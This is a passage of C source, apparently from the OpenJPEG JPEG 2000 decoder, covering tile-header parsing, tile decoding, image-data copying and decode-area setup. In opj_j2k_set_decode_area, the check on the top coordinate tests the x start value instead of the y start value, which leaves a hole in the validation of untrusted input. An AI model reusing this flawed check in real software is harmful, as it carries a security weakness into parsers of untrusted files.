((!p_j2k->m_specific_param.m_decoder.m_can_decode) && (l_current_marker != J2K_MS_EOC)) { /* Try to read until the Start Of Data is detected */ while (l_current_marker != J2K_MS_SOD) { if (opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; break; } /* Try to read 2 bytes (the marker size) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the marker size */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_marker_size, 2); /* Check marker size (does not include marker ID but includes marker size) */ if (l_marker_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Inconsistent marker size\n"); return OPJ_FALSE; } /* cf. https://code.google.com/p/openjpeg/issues/detail?id=226 */ if (l_current_marker == 0x8080 && opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; break; } /* Why this condition? FIXME */ if (p_j2k->m_specific_param.m_decoder.m_state & J2K_STATE_TPH) { p_j2k->m_specific_param.m_decoder.m_sot_length -= (l_marker_size + 2); } l_marker_size -= 2; /* Subtract the size of the marker ID already read */ /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); /* Check if the marker is known and if it is the right place to find it */ if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } /* FIXME manage case of unknown marker as in the main header ? */ /* Check if the marker size is compatible with the header data size */ if (l_marker_size > p_j2k->m_specific_param.m_decoder.m_header_data_size) { OPJ_BYTE *new_header_data = NULL; /* If we are here, this means we consider this marker as known & we will read it */ /* Check enough bytes left in stream before allocation */ if ((OPJ_OFF_T)l_marker_size > opj_stream_get_number_byte_left(p_stream)) { opj_event_msg(p_manager, EVT_ERROR, "Marker size inconsistent with stream length\n"); return OPJ_FALSE; } new_header_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size); if (! new_header_data) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = NULL; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read header\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_header_data = new_header_data; p_j2k->m_specific_param.m_decoder.m_header_data_size = l_marker_size; } /* Try to read the rest of the marker segment from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } if (!l_marker_handler->handler) { /* See issue #175 */ opj_event_msg(p_manager, EVT_ERROR, "Not sure how that happened.\n"); return OPJ_FALSE; } /* Read the marker segment with the correct marker handler */ if (!(*(l_marker_handler->handler))(p_j2k, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Fail to read the current marker segment (%#x)\n", l_current_marker); return OPJ_FALSE; } /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_tlmarker(p_j2k->m_current_tile_number, p_j2k->cstr_index, l_marker_handler->id, (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4, l_marker_size + 4)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); return OPJ_FALSE; } /* Keep the position of the last SOT marker read */ if (l_marker_handler->id == J2K_MS_SOT) { OPJ_UINT32 sot_pos = (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4 ; if (sot_pos > p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos) { p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos = sot_pos; } } if (p_j2k->m_specific_param.m_decoder.m_skip_data) { /* Skip the rest of the tile part header*/ if (opj_stream_skip(p_stream, p_j2k->m_specific_param.m_decoder.m_sot_length, p_manager) != p_j2k->m_specific_param.m_decoder.m_sot_length) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } l_current_marker = J2K_MS_SOD; /* Normally we reached a SOD */ } else { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer*/ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { break; } /* If we didn't skip data before, we need to read the SOD marker*/ if (! p_j2k->m_specific_param.m_decoder.m_skip_data) { /* Try to read the SOD marker and skip data ? FIXME */ if (! opj_j2k_read_sod(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_specific_param.m_decoder.m_can_decode && !p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked) { /* Issue 254 */ OPJ_BOOL l_correction_needed; p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked = 1; if (!opj_j2k_need_nb_tile_parts_correction(p_stream, p_j2k->m_current_tile_number, &l_correction_needed, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "opj_j2k_apply_nb_tile_parts_correction error\n"); return OPJ_FALSE; } if (l_correction_needed) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; OPJ_UINT32 l_tile_no; p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction = 1; /* correct tiles */ for (l_tile_no = 0U; l_tile_no < l_nb_tiles; ++l_tile_no) { if (p_j2k->m_cp.tcps[l_tile_no].m_nb_tile_parts != 0U) { p_j2k->m_cp.tcps[l_tile_no].m_nb_tile_parts += 1; } } opj_event_msg(p_manager, EVT_WARNING, "Non conformant codestream TPsot==TNsot.\n"); } } if (! p_j2k->m_specific_param.m_decoder.m_can_decode) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } else { /* Indicate we will try to read a new tile-part header*/ p_j2k->m_specific_param.m_decoder.m_skip_data = 0; p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } /* Current marker is the EOC marker ?*/ if (l_current_marker == J2K_MS_EOC) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_EOC; } /* FIXME DOC ???*/ if (! p_j2k->m_specific_param.m_decoder.m_can_decode) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps + p_j2k->m_current_tile_number; while ((p_j2k->m_current_tile_number < l_nb_tiles) && (l_tcp->m_data == 00)) { ++p_j2k->m_current_tile_number; ++l_tcp; } if (p_j2k->m_current_tile_number == l_nb_tiles) { *p_go_on = OPJ_FALSE; return OPJ_TRUE; } } if (! opj_j2k_merge_ppt(p_j2k->m_cp.tcps + p_j2k->m_current_tile_number, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to merge PPT data\n"); return OPJ_FALSE; } /*FIXME ???*/ if (! opj_tcd_init_decode_tile(p_j2k->m_tcd, p_j2k->m_current_tile_number, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Header of tile %d / %d has been read.\n", p_j2k->m_current_tile_number + 1, (p_j2k->m_cp.th * p_j2k->m_cp.tw)); *p_tile_index = p_j2k->m_current_tile_number; *p_go_on = OPJ_TRUE; *p_data_size = opj_tcd_get_decoded_tile_size(p_j2k->m_tcd); if (*p_data_size == UINT_MAX) { return OPJ_FALSE; } *p_tile_x0 = p_j2k->m_tcd->tcd_image->tiles->x0; *p_tile_y0 = p_j2k->m_tcd->tcd_image->tiles->y0; *p_tile_x1 = p_j2k->m_tcd->tcd_image->tiles->x1; *p_tile_y1 = p_j2k->m_tcd->tcd_image->tiles->y1; *p_nb_comps = p_j2k->m_tcd->tcd_image->tiles->numcomps; p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_DATA; return OPJ_TRUE; } OPJ_BOOL opj_j2k_decode_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, OPJ_BYTE * p_data, OPJ_UINT32 p_data_size, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker; OPJ_BYTE l_data [2]; opj_tcp_t * l_tcp; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); if (!(p_j2k->m_specific_param.m_decoder.m_state & J2K_STATE_DATA) || (p_tile_index != p_j2k->m_current_tile_number)) { return OPJ_FALSE; } l_tcp = &(p_j2k->m_cp.tcps[p_tile_index]); if (! l_tcp->m_data) { opj_j2k_tcp_destroy(l_tcp); return OPJ_FALSE; } if (! opj_tcd_decode_tile(p_j2k->m_tcd, l_tcp->m_data, l_tcp->m_data_size, p_tile_index, p_j2k->cstr_index, p_manager)) { opj_j2k_tcp_destroy(l_tcp); p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_ERR; opj_event_msg(p_manager, EVT_ERROR, "Failed to decode.\n"); return OPJ_FALSE; } /* p_data can be set to NULL when the call will take care of using */ /* itself the TCD data. This is typically the case for whole single */ /* tile decoding optimization. */ if (p_data != NULL) { if (! opj_tcd_update_tile_data(p_j2k->m_tcd, p_data, p_data_size)) { return OPJ_FALSE; } /* To avoid to destroy the tcp which can be useful when we try to decode a tile decoded before (cf j2k_random_tile_access) * we destroy just the data which will be re-read in read_tile_header*/ /*opj_j2k_tcp_destroy(l_tcp); p_j2k->m_tcd->tcp = 0;*/ opj_j2k_tcp_data_destroy(l_tcp); } p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_state &= (~(OPJ_UINT32)J2K_STATE_DATA); if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { return OPJ_TRUE; } if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_EOC) { if (opj_stream_read_data(p_stream, l_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_current_marker, 2); if (l_current_marker == J2K_MS_EOC) { p_j2k->m_current_tile_number = 0; p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_EOC; } else if (l_current_marker != J2K_MS_SOT) { if (opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; opj_event_msg(p_manager, EVT_WARNING, "Stream does not end with EOC\n"); return OPJ_TRUE; } opj_event_msg(p_manager, EVT_ERROR, "Stream too short, expected SOT\n"); return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_update_image_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data, opj_image_t* p_output_image) { OPJ_UINT32 i, j, k = 0; OPJ_UINT32 l_width_src, l_height_src; OPJ_UINT32 l_width_dest, l_height_dest; OPJ_INT32 l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src; OPJ_SIZE_T l_start_offset_src, l_line_offset_src, l_end_offset_src ; OPJ_UINT32 l_start_x_dest, l_start_y_dest; OPJ_UINT32 l_x0_dest, l_y0_dest, l_x1_dest, l_y1_dest; OPJ_SIZE_T l_start_offset_dest, l_line_offset_dest; opj_image_comp_t * l_img_comp_src = 00; opj_image_comp_t * l_img_comp_dest = 00; opj_tcd_tilecomp_t * l_tilec = 00; opj_image_t * l_image_src = 00; OPJ_UINT32 l_size_comp, l_remaining; OPJ_INT32 * l_dest_ptr; opj_tcd_resolution_t* l_res = 00; l_tilec = p_tcd->tcd_image->tiles->comps; l_image_src = p_tcd->image; l_img_comp_src = l_image_src->comps; l_img_comp_dest = p_output_image->comps; for (i = 0; i < l_image_src->numcomps; i++) { /* Allocate output component buffer if necessary */ if (!l_img_comp_dest->data) { OPJ_SIZE_T l_width = l_img_comp_dest->w; OPJ_SIZE_T l_height = l_img_comp_dest->h; if ((l_height == 0U) || (l_width > (SIZE_MAX / l_height)) || l_width * l_height > SIZE_MAX / sizeof(OPJ_INT32)) { /* would overflow */ return OPJ_FALSE; } l_img_comp_dest->data = (OPJ_INT32*) opj_image_data_alloc(l_width * l_height * sizeof(OPJ_INT32)); if (! l_img_comp_dest->data) { return OPJ_FALSE; } /* Do we really need this memset ? */ memset(l_img_comp_dest->data, 0, l_width * l_height * sizeof(OPJ_INT32)); } /* Copy info from decoded comp image to output image */ l_img_comp_dest->resno_decoded = l_img_comp_src->resno_decoded; /*-----*/ /* Compute the precision of the output buffer */ l_size_comp = l_img_comp_src->prec >> 3; /*(/ 8)*/ l_remaining = l_img_comp_src->prec & 7; /* (%8) */ l_res = l_tilec->resolutions + l_img_comp_src->resno_decoded; if (l_remaining) { ++l_size_comp; } if (l_size_comp == 3) { l_size_comp = 4; } /*-----*/ /* Current tile component size*/ /*if (i == 0) { fprintf(stdout, "SRC: l_res_x0=%d, l_res_x1=%d, l_res_y0=%d, l_res_y1=%d\n", l_res->x0, l_res->x1, l_res->y0, l_res->y1); }*/ l_width_src = (OPJ_UINT32)(l_res->x1 - l_res->x0); l_height_src = (OPJ_UINT32)(l_res->y1 - l_res->y0); /* Border of the current output component*/ l_x0_dest = opj_uint_ceildivpow2(l_img_comp_dest->x0, l_img_comp_dest->factor); l_y0_dest = opj_uint_ceildivpow2(l_img_comp_dest->y0, l_img_comp_dest->factor); l_x1_dest = l_x0_dest + l_img_comp_dest->w; /* can't overflow given that image->x1 is uint32 */ l_y1_dest = l_y0_dest + l_img_comp_dest->h; /*if (i == 0) { fprintf(stdout, "DEST: l_x0_dest=%d, l_x1_dest=%d, l_y0_dest=%d, l_y1_dest=%d (%d)\n", l_x0_dest, l_x1_dest, l_y0_dest, l_y1_dest, l_img_comp_dest->factor ); }*/ /*-----*/ /* Compute the area (l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src) * of the input buffer (decoded tile component) which will be move * in the output buffer. Compute the area of the output buffer (l_start_x_dest, * l_start_y_dest, l_width_dest, l_height_dest) which will be modified * by this input area. * */ assert(l_res->x0 >= 0); assert(l_res->x1 >= 0); if (l_x0_dest < (OPJ_UINT32)l_res->x0) { l_start_x_dest = (OPJ_UINT32)l_res->x0 - l_x0_dest; l_offset_x0_src = 0; if (l_x1_dest >= (OPJ_UINT32)l_res->x1) { l_width_dest = l_width_src; l_offset_x1_src = 0; } else { l_width_dest = l_x1_dest - (OPJ_UINT32)l_res->x0 ; l_offset_x1_src = (OPJ_INT32)(l_width_src - l_width_dest); } } else { l_start_x_dest = 0U; l_offset_x0_src = (OPJ_INT32)l_x0_dest - l_res->x0; if (l_x1_dest >= (OPJ_UINT32)l_res->x1) { l_width_dest = l_width_src - (OPJ_UINT32)l_offset_x0_src; l_offset_x1_src = 0; } else { l_width_dest = l_img_comp_dest->w ; l_offset_x1_src = l_res->x1 - (OPJ_INT32)l_x1_dest; } } if (l_y0_dest < (OPJ_UINT32)l_res->y0) { l_start_y_dest = (OPJ_UINT32)l_res->y0 - l_y0_dest; l_offset_y0_src = 0; if (l_y1_dest >= (OPJ_UINT32)l_res->y1) { l_height_dest = l_height_src; l_offset_y1_src = 0; } else { l_height_dest = l_y1_dest - (OPJ_UINT32)l_res->y0 ; l_offset_y1_src = (OPJ_INT32)(l_height_src - l_height_dest); } } else { l_start_y_dest = 0U; l_offset_y0_src = (OPJ_INT32)l_y0_dest - l_res->y0; if (l_y1_dest >= (OPJ_UINT32)l_res->y1) { l_height_dest = l_height_src - (OPJ_UINT32)l_offset_y0_src; l_offset_y1_src = 0; } else { l_height_dest = l_img_comp_dest->h ; l_offset_y1_src = l_res->y1 - (OPJ_INT32)l_y1_dest; } } if ((l_offset_x0_src < 0) || (l_offset_y0_src < 0) || (l_offset_x1_src < 0) || (l_offset_y1_src < 0)) { return OPJ_FALSE; } /* testcase 2977.pdf.asan.67.2198 */ if ((OPJ_INT32)l_width_dest < 0 || (OPJ_INT32)l_height_dest < 0) { return OPJ_FALSE; } /*-----*/ /* Compute the input buffer offset */ l_start_offset_src = (OPJ_SIZE_T)l_offset_x0_src + (OPJ_SIZE_T)l_offset_y0_src * (OPJ_SIZE_T)l_width_src; l_line_offset_src = (OPJ_SIZE_T)l_offset_x1_src + (OPJ_SIZE_T)l_offset_x0_src; l_end_offset_src = (OPJ_SIZE_T)l_offset_y1_src * (OPJ_SIZE_T)l_width_src - (OPJ_SIZE_T)l_offset_x0_src; /* Compute the output buffer offset */ l_start_offset_dest = (OPJ_SIZE_T)l_start_x_dest + (OPJ_SIZE_T)l_start_y_dest * (OPJ_SIZE_T)l_img_comp_dest->w; l_line_offset_dest = (OPJ_SIZE_T)l_img_comp_dest->w - (OPJ_SIZE_T)l_width_dest; /* Move the output buffer to the first place where we will write*/ l_dest_ptr = l_img_comp_dest->data + l_start_offset_dest; /*if (i == 0) { fprintf(stdout, "COMPO[%d]:\n",i); fprintf(stdout, "SRC: l_start_x_src=%d, l_start_y_src=%d, l_width_src=%d, l_height_src=%d\n" "\t tile offset:%d, %d, %d, %d\n" "\t buffer offset: %d; %d, %d\n", l_res->x0, l_res->y0, l_width_src, l_height_src, l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src, l_start_offset_src, l_line_offset_src, l_end_offset_src); fprintf(stdout, "DEST: l_start_x_dest=%d, l_start_y_dest=%d, l_width_dest=%d, l_height_dest=%d\n" "\t start offset: %d, line offset= %d\n", l_start_x_dest, l_start_y_dest, l_width_dest, l_height_dest, l_start_offset_dest, l_line_offset_dest); }*/ switch (l_size_comp) { case 1: { OPJ_CHAR * l_src_ptr = (OPJ_CHAR*) p_data; l_src_ptr += l_start_offset_src; /* Move to the first place where we will read*/ if (l_img_comp_src->sgnd) { for (j = 0 ; j < l_height_dest ; ++j) { for (k = 0 ; k < l_width_dest ; ++k) { *(l_dest_ptr++) = (OPJ_INT32)(* (l_src_ptr++)); /* Copy only the data needed for the output image */ } l_dest_ptr += l_line_offset_dest; /* Move to the next place where we will write */ l_src_ptr += l_line_offset_src ; /* Move to the next place where we will read */ } } else { for (j = 0 ; j < l_height_dest ; ++j) { for (k = 0 ; k < l_width_dest ; ++k) { *(l_dest_ptr++) = (OPJ_INT32)((*(l_src_ptr++)) & 0xff); } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src; } } l_src_ptr += l_end_offset_src; /* Move to the end of this component-part of the input buffer */ p_data = (OPJ_BYTE*) l_src_ptr; /* Keep the current position for the next component-part */ } break; case 2: { OPJ_INT16 * l_src_ptr = (OPJ_INT16 *) p_data; l_src_ptr += l_start_offset_src; if (l_img_comp_src->sgnd) { for (j = 0; j < l_height_dest; ++j) { for (k = 0; k < l_width_dest; ++k) { OPJ_INT16 val; memcpy(&val, l_src_ptr, sizeof(val)); l_src_ptr ++; *(l_dest_ptr++) = val; } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src ; } } else { for (j = 0; j < l_height_dest; ++j) { for (k = 0; k < l_width_dest; ++k) { OPJ_INT16 val; memcpy(&val, l_src_ptr, sizeof(val)); l_src_ptr ++; *(l_dest_ptr++) = val & 0xffff; } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src ; } } l_src_ptr += l_end_offset_src; p_data = (OPJ_BYTE*) l_src_ptr; } break; case 4: { OPJ_INT32 * l_src_ptr = (OPJ_INT32 *) p_data; l_src_ptr += l_start_offset_src; for (j = 0; j < l_height_dest; ++j) { memcpy(l_dest_ptr, l_src_ptr, l_width_dest * sizeof(OPJ_INT32)); l_dest_ptr += l_width_dest + l_line_offset_dest; l_src_ptr += l_width_dest + l_line_offset_src ; } l_src_ptr += l_end_offset_src; p_data = (OPJ_BYTE*) l_src_ptr; } break; } ++l_img_comp_dest; ++l_img_comp_src; ++l_tilec; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_set_decode_area(opj_j2k_t *p_j2k, opj_image_t* p_image, OPJ_INT32 p_start_x, OPJ_INT32 p_start_y, OPJ_INT32 p_end_x, OPJ_INT32 p_end_y, opj_event_mgr_t * p_manager) { opj_cp_t * l_cp = &(p_j2k->m_cp); opj_image_t * l_image = p_j2k->m_private_image; OPJ_UINT32 it_comp; OPJ_INT32 l_comp_x1, l_comp_y1; opj_image_comp_t* l_img_comp = NULL; /* Check if we are read the main header */ if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_TPHSOT) { opj_event_msg(p_manager, EVT_ERROR, "Need to decode the main header before begin to decode the remaining codestream"); return OPJ_FALSE; } if (!p_start_x && !p_start_y && !p_end_x && !p_end_y) { opj_event_msg(p_manager, EVT_INFO, "No decoded area parameters, set the decoded area to the whole image\n"); p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; return OPJ_TRUE; } /* ----- */ /* Check if the positions provided by the user are correct */ /* Left */ if (p_start_x < 0) { opj_event_msg(p_manager, EVT_ERROR, "Left position of the decoded area (region_x0=%d) should be >= 0.\n", p_start_x); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_x > l_image->x1) { opj_event_msg(p_manager, EVT_ERROR, "Left position of the decoded area (region_x0=%d) is outside the image area (Xsiz=%d).\n", p_start_x, l_image->x1); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_x < l_image->x0) { opj_event_msg(p_manager, EVT_WARNING, "Left position of the decoded area (region_x0=%d) is outside the image area (XOsiz=%d).\n", p_start_x, l_image->x0); p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_image->x0 = l_image->x0; } else { p_j2k->m_specific_param.m_decoder.m_start_tile_x = ((OPJ_UINT32)p_start_x - l_cp->tx0) / l_cp->tdx; p_image->x0 = (OPJ_UINT32)p_start_x; } /* Up */ if (p_start_x < 0) { opj_event_msg(p_manager, EVT_ERROR, "Up position of the decoded area (region_y0=%d) should be >= 0.\n", p_start_y); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_y > l_image->y1) { opj_event_msg(p_manager, EVT_ERROR, "Up position of the decoded area (region_y0=%d) is outside the image area (Ysiz=%d).\n", p_start_y, l_image->y1); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_y < l_image->y0) { opj_event_msg(p_manager, EVT_WARNING, "Up position of the decoded area (region_y0=%d) is outside the image area (YOsiz=%d).\n", p_start_y, l_image->y0); p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_image->y0 = l_image->y0; } else { p_j2k->m_specific_param.m_decoder.m_start_tile_y = ((OPJ_UINT32)p_start_y - l_cp->ty0) / l_cp->tdy; p_image->y0 = (OPJ_UINT32)p_start_y; } /* Right */ if (p_end_x <= 0) { opj_event_msg(p_manager, EVT_ERROR, "Right position of the decoded area (region_x1=%d) should be > 0.\n", p_end_x); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_x < l_image->x0) { opj_event_msg(p_manager, EVT_ERROR, "Right position of the decoded area (region_x1=%d) is outside the image area (XOsiz=%d).\n", p_end_x, l_image->x0); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_x > l_image->x1) { opj_event_msg(p_manager, EVT_WARNING, "Right position of the decoded area (region_x1=%d) is outside the image area (Xsiz=%d).\n", p_end_x, l_image->x1); p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_image->x1 = l_image->x1; } else { p_j2k->m_specific_param.m_decoder.m_end_tile_x = (OPJ_UINT32)opj_int_ceildiv( p_end_x - (OPJ_INT32)l_cp->tx0, (OPJ_INT32)l_cp->tdx); p_image->x1 = (OPJ_UINT32)p_end_x; } /* Bottom */ if (p_end_y <= 0) { opj_event_msg(p_manager, EVT_ERROR, "Bottom position of the decoded area (region_y1=%d) should be > 0.\n", p_end_y); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_y < l_image->y0) { opj_event_msg(p_manager, EVT_ERROR, "Bottom position of the decoded area (region_y1=%d) is outside the image area (YOsiz=%d).\n", p_end_y, l_image->y0); return OPJ_FALSE; } if ((OPJ_UINT32)p_end_y > l_image->y1) { opj_event_msg(p_manager, EVT_WARNING, "Bottom position of the decoded area (region_y1=%d) is outside the image area (Ysiz=%d).\n", p_end_y, l_image->y1); p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; p_image->y1 = l_image->y1; } else { p_j2k->m_specific_param.m_decoder.m_end_tile_y = (OPJ_UINT32)opj_int_ceildiv( p_end_y - (OPJ_INT32)l_cp->ty0, (OPJ_INT32)l_cp->tdy); p_image->y1 = (OPJ_UINT32)p_end_y; } /* ----- */ p_j2k->m_specific_param.m_decoder.m_discard_tiles = 1; l_img_comp = p_image->comps; for (it_comp = 0; it_comp < p_image->numcomps; ++it_comp) { OPJ_INT32 l_h, l_w; l_img_comp->x0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->x0, (OPJ_INT32)l_img_comp->dx); l_img_comp->y0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->y0, (OPJ_INT32)l_img_comp->dy); l_comp_x1 = opj_int_ceildiv((OPJ_INT32)p_image->x1, (OPJ_INT32)l_img_comp->dx); l_comp_y1 = opj_int_ceildiv((OPJ_INT32)p_image->y1, (OPJ_INT32)l_img_comp->dy); l_w = opj_int_ceildivpow2(l_comp_x1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->x0, (OPJ_INT32)l_img_comp->factor); if (l_w < 0) { opj_event_msg(p_manager, EVT_ERROR, "Size x of the decoded component image is incorrect (comp[%d].w=%d).\n", it_comp, l_w); return OPJ_FALSE; } l_img_comp->w = (OPJ_UINT32)l_w; l_h = opj_int_ceildivpow2(l_comp_y1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->y0, (OPJ_INT32)l_img_comp->factor); if (l_h < 0) { opj_event_msg(p_manager, EVT_ERROR, "Size y of the decoded component image is incorrect (comp[%d].h=%d).\n", it_comp, l_h); return OPJ_FALSE; } l_img_comp->h = (OPJ_UINT32)l_h; l_img_comp++; } opj_event_msg(p_manager, EVT_INFO, "Setting decoding area to %d,%d,%d,%d\n", p_image->x0, p_image->y0, p_image->x1, p_image->y1); return OPJ_TRUE; } opj_j2k_t* opj_j2k_create_decompress(void) { opj_j2k_t *l_j2k = (opj_j2k_t*) opj_calloc(1, sizeof(opj_j2k_t)); if (!l_j2k) { return 00; } l_j2k->m_is_decoder = 1; l_j2k->m_cp.m_is_decoder = 1; /* in the absence of JP2 boxes, consider different bit depth / sign */ /* per component is allowed */ l_j2k->m_cp.allow_different_bit_depth_sign = 1; #ifdef OPJ_DISABLE_TPSOT_FIX l_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked = 1; #endif l_j2k->m_specific_param.m_decoder.m_default_tcp = (opj_tcp_t*) opj_calloc(1, sizeof(opj_tcp_t)); if (!l_j2k->m_specific_param.m_decoder.m_default_tcp) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_specific_param.m_decoder.m_header_data = (OPJ_BYTE *) opj_calloc(1, OPJ_J2K_DEFAULT_HEADER_SIZE); if (! l_j2k->m_specific_param.m_decoder.m_header_data) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_specific_param.m_decoder.m_header_data_size = OPJ_J2K_DEFAULT_HEADER_SIZE; l_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec = -1 ; l_j2k->m_specific_param.m_decoder.m_last_sot_read_pos = 0 ; /* codestream index creation */ l_j2k->cstr_index = opj_j2k_create_cstr_index(); if (!l_j2k->cstr_index) { opj_j2k_destroy(l_j2k); return 00; } /* validation list creation */ l_j2k->m_validation_list = opj_procedure_list_create(); if (! l_j2k->m_validation_list) { opj_j2k_destroy(l_j2k); return 00; } /* execution list creation */ l_j2k->m_procedure_list = opj_procedure_list_create(); if (! l_j2k->m_procedure_list) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_tp = opj_thread_pool_create(opj_j2k_get_default_thread_count()); if (!l_j2k->m_tp) { l_j2k->m_tp = opj_thread_pool_create(0); } if (!l_j2k->m_tp) { opj_j2k_destroy(l_j2k); return NULL; } return l_j2k; } static opj_codestream_index_t* 